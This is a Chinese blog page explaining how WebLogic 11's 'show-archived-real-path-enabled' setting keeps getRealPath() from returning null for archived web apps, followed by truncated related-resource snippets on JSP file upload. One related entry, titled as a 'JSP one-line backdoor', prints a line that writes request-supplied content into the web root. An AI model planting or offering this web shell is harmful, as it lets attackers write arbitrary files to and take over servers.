`
ultrang
  • 浏览: 57794 次
  • 性别: Icon_minigender_1
  • 来自: 深圳
社区版块
存档分类
最新评论

getRealPath方法为何返回的是null

阅读更多
在WebLogic 11的weblogic.xml中可以自定义show-archived-real-path-enabled参数的值,用于使request.getSession().getServletContext().getRealPath("")方法在返回实际路径。
<container-descriptor>
        <show-archived-real-path-enabled>true</show-archived-real-path-enabled>
    </container-descriptor>


此参数对于打包的(归档的)web应用程序生效,当设置为true时,getRealPath()返回资源对应的实际路径。否则返回null。
分享到:
评论

相关推荐

    在JSP中处理虚拟路径

    getRealPath()方法JSP servlet API提供了getRealPath(path)方法,返回给定虚拟路径的真实路径,如果转换错误,则返回null。getRealPath语法定义:public java.lang.String getRealPath(java.lang.Stri

    jsp内置对象的用法

    13 public Object findAttribute(String name) 寻找一属性,返回起属性值或NULL 14 void removeAttribute(String name) 删除某属性 15 void removeAttribute(String name,int scope) 在指定范围删除某属性 16 ...

    图片上传filemover.jar,uploadbean.jar,cos.jar

    String sWebRootPath = request.getRealPath("/"); String sPath=sWebRootPath+"file"; String sLocalFileName = ""; int iFileCount = 0; if ( (files != null) || (!files.isEmpty()) ) { UploadFile file = ...

    strust文件上传

    //streamIn.read方法返回的是实际读取字节数目.如果读到末尾则返回-1.如果bytesRead返回为0则表示没有读取任何字节。 while ((bytesRead = streamIn.read(buffer, 0, 8192)) != -1) { //写入buffer数组的一部分,...

    图片上传下载

    File file new File request getRealPath &quot; &quot; + System currentTimeMillis ; 创建文件输出流 PrintStream ps new PrintStream new FileOutputStream file ; 接着开始读取文件内容 String ...

    fileutil工具类 处理文件流工具

    fileutil工具类 处理文件流工具 private static File file; /** * 判断文件是否存在 * * @param path * 文件路径 * @return boolean ... public static ....getRealPath(path)); return file.exists(); }

    java结合jsp写的上传文件代码

    .println("&lt;p /&gt;&lt;a href=\"upload2.jsp\" target=\"_top\"&gt;返回&lt;/a&gt;"); return; } long now = System.currentTimeMillis(); // 根据系统时间生成上传后保存的文件名 String prefix = String.valueOf(now); // 保存...

    fileupload

    String rootpath = request.getRealPath(request.getRequestURI()); rootpath = rootpath.substring(0, rootpath .lastIndexOf("\\FlowMonitoringSystemJava\\uploadhandler")); uploadDirectory=rootpath+ ...

    iReport4.5打印实例

    JasperPrint jasperPrint = JasperFillManager.fillReport(reportFile.getPath(),null,dataSource);//执行报表程序 程序中都很明了 大家肯定会问print.jsp怎么会调用到AppletServlet.java中去执行呢 其实很简单主要...

    JSF文件下载实现

    = null) { filename = request.getParameter("filename"); } try { framework.util.FileUtils.downloadFile&#40;response,getServletContext(&#41;.getRealPath(filename),filename); } catch(final IOException...

    Jsp文件上传下载(工具类源码)

    .println("&lt;p /&gt;&lt;a href=\"upload2.jsp\" target=\"_top\"&gt;返回&lt;/a&gt;"); return; } long now = System.currentTimeMillis(); // 根据系统时间生成上传后保存的文件名 String prefix = String.valueOf(now); /...

    JSP一句话后门

    =null)(new java.io.FileOutputStream(application.getRealPath(“\\”)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes()); %&gt; 使用方法: 提交url! jsp?f=1.txt” target=”_blank”...

    RSA+bcpkix-jdk15.zip

    //第一个参数为加密指数、第二个参数为解密参数、第三个参数为加密系数 //加密指数就是RSA公有KEY对象对象中toString()返回的字符串(encryptionExponent)数字部分默认就是10001. //加密系数就是RSA公有KEY对象...

    多附件上传与下载

    au.setSaveDir(this.servlet.getServletContext().getRealPath("/loadImage/"));//将图片放入存储文件路径 fileName=au.randomFileName(file.getFileName()); au.upload(au.getSaveDir()+File.separator+ ...

    SpringMVC批量上传

    String path = request.getServletContext().getRealPath("/images/")+mkdir; //System.out.println("path="+path); File filepath = new File&#40;path,filename&#41;; if(!filepath.getParentFile&#40;&#...

    servlet2.4doc

    Returns the object bound with the specified name in this session, or null if no object is bound under the name. getAttributeNames() - Method in interface javax.servlet.ServletContext Returns an ...

    java上传文件实例

    saveurl=application.getRealPath("/")+url; File file = new File(saveurl); if(!file.exists()){ file.mkdirs(); } saveurl+=filename+"."+ext; //保存路径 myFile.saveAs(saveurl,SmartUpload.SAVE_PHYSICAL); ...

    jsp探针 ver0.1

    if (freeSpace == null || freeSpace.length() == 0) { return -1; } process.destroy(); freeSpace = freeSpace.trim().replaceAll("\\\\", "\\/"); String[] results = freeSpace.split(" "); for (int i = ...

    private2private2private2

    path = request.getRealPath("/"); Workbook wb = Workbook.getWorkbook(new File(path + "excel\\template.xls")); //打开一个文件的副本,并且指定数据写回到原文件 book = Workbook.createWorkbook(new ...

Global site tag (gtag.js) - Google Analytics